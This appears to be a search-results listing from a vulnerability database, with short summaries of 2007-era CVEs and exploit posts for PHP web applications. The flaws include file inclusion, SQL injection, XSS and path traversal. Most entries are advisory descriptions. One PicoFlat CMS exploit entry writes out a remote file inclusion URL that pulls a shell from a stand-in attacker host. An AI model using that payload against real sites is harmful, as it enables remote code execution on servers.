11752 matches found
CVE-2007-5440: Improper Input Validation
Multiple PHP remote file inclusion vulnerabilities in CRS Manager allow remote attackers to execute arbitrary PHP code via a URL in the DOCUMENTROOT parameter to 1 index.php or 2 login.php. NOTE: this issue is disputed by CVE, since DOCUMENTROOT cannot be modified by an attacker...
CVE-2007-5425
SQL injection vulnerability in admin/index.php in Interspire ActiveKB 1.5 allows remote attackers to execute arbitrary SQL commands via the questId parameter in a hideQuestion ToDo action. NOTE: the catId vector is already covered by CVE-2007-5131...
Sql injection
SQL injection vulnerability in admin/index.php in Interspire ActiveKB 1.5 allows remote attackers to execute arbitrary SQL commands via the questId parameter in a hideQuestion ToDo action. NOTE: the catId vector is already covered by CVE-2007-5131...
picoflat-rfi.txt
PicoFlat CMS Remote file inclusion f0und bY 0in download:http://sourceforge.net/project/showfiles.php?groupid=195156&packageid=230351&releaseid=533796 Greetings to:Dark-coders team members: Die-angel,Slim,Umbro Others: Joker186,Kaja,Wojto111,Rade0n And funny n00b-firends: Pucik and Steryd ; FUN B...
CVE-2007-5390: Improper Control of Generation of Code
PHP remote file inclusion vulnerability in index.php in PicoFlat CMS 0.4.14 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the pagina parameter...
CVE-2007-5429: Improper Neutralization of Input During Web Page Generation
Cross-site scripting XSS vulnerability in index.php in Nucleus 3.01 allows remote attackers to inject arbitrary web script or HTML via the archive parameter...
CVE-2007-5417: Improper Limitation of a Pathname to a Restricted Directory
Directory traversal vulnerability in index.php in boastMachine aka bMachine 2.8 allows remote attackers to read arbitrary files via a .. dot dot in the id parameter...
CVE-2007-5425: Improper Control of Generation of Code
SQL injection vulnerability in admin/index.php in Interspire ActiveKB 1.5 allows remote attackers to execute arbitrary SQL commands via the questId parameter in a hideQuestion ToDo action. NOTE: the catId vector is already covered by CVE-2007-5131...
PicoFlat CMS <= 0.4.14 index.php Remote File Inclusion Vulnerability
Exploit for unknown platform in category web applications ==================================================================== PicoFlat CMS EXPLOIT: http://x.com/index.php?pagina=http://evil.org/shell.txt? 0day.today 2018-04-12...
PicoFlat CMS 0.4.14 - 'index.php' Remote File Inclusion
PicoFlat CMS Remote file inclusion f0und bY 0in download:http://sourceforge.net/project/showfiles.php?groupid=195156&packageid=230351&releaseid=533796 Greetings to:Dark-coders team members: Die-angel,Slim,Umbro Others: Joker186,Kaja,Wojto111,Rade0n And funny n00b-firends: Pucik and Steryd ; FUN B...
PicoFlat CMS <= 0.4.14 index.php Remote File Inclusion Vulnerability
No description provided by source. PicoFlat CMS Remote file inclusion f0und bY 0in download:http://sourceforge.net/project/showfiles.php?groupid=195156&packageid=230351&releaseid=533796 Greetings to:Dark-coders team members: Die-angel,Slim,Umbro Others: Joker186,Kaja,Wojto111,Rade0n And funny...
CVE-2007-5297
Cross-site scripting XSS vulnerability in index.php in Minki 1.30 allows remote attackers to inject arbitrary web script or HTML via the page parameter...
CVE-2007-5297
Cross-site scripting XSS vulnerability in index.php in Minki 1.30 allows remote attackers to inject arbitrary web script or HTML via the page parameter...
CVE-2007-5295
CVE-2007-5295 affects Wikepage Opus 13 2007.2 and TipiWiki 2, via index.php. The underlying issue is multiple cross-site scripting (XSS) vulnerabilities that allow remote attackers to inject arbitrary script or HTML through the PageContent and PageName parameters. Reported impact per NVD is a Par...
CVE-2007-5297
CVE-2007-5297 affects Minki 1.30, with a vulnerability in index.php where the page parameter enables cross-site scripting (XSS). The root cause is insufficient input handling in the affected script, allowing injection of arbitrary script/HTML by remote attackers. Public exploitation details or co...
CVE-2007-5295: Improper Neutralization of Input During Web Page Generation
Multiple cross-site scripting XSS vulnerabilities in index.php in a Wikepage Opus 13 2007.2 and b TipiWiki 2 allow remote attackers to inject arbitrary web script or HTML via the 1 PageContent and 2 PageName parameters...
CVE-2007-5321: Improper Limitation of a Pathname to a Restricted Directory
Directory traversal vulnerability in index.php in Verlihub Control Panel VHCP 1.7 and earlier allows remote attackers to include arbitrary files via a .. dot dot in the page parameter...
CVE-2007-5297: Improper Neutralization of Input During Web Page Generation
Cross-site scripting XSS vulnerability in index.php in Minki 1.30 allows remote attackers to inject arbitrary web script or HTML via the page parameter...
CVE-2004-2688
CVE-2004-2688 / CVE-2006-3358 describe multiple XSS vulnerabilities in NewsPHP’s index.php. The issue is triggered by unsanitized user input through the cat_id parameter (and other vectors in related CVEs), which can cause arbitrary web script/HTML to be injected and reflected in error pages. The...
CVE-2004-2688
Cross-site scripting XSS vulnerability in index.php in NewsPHP allows remote attackers to inject arbitrary web script or HTML via the catid parameter. NOTE: this issue might overlap vector 3 in CVE-2006-3358...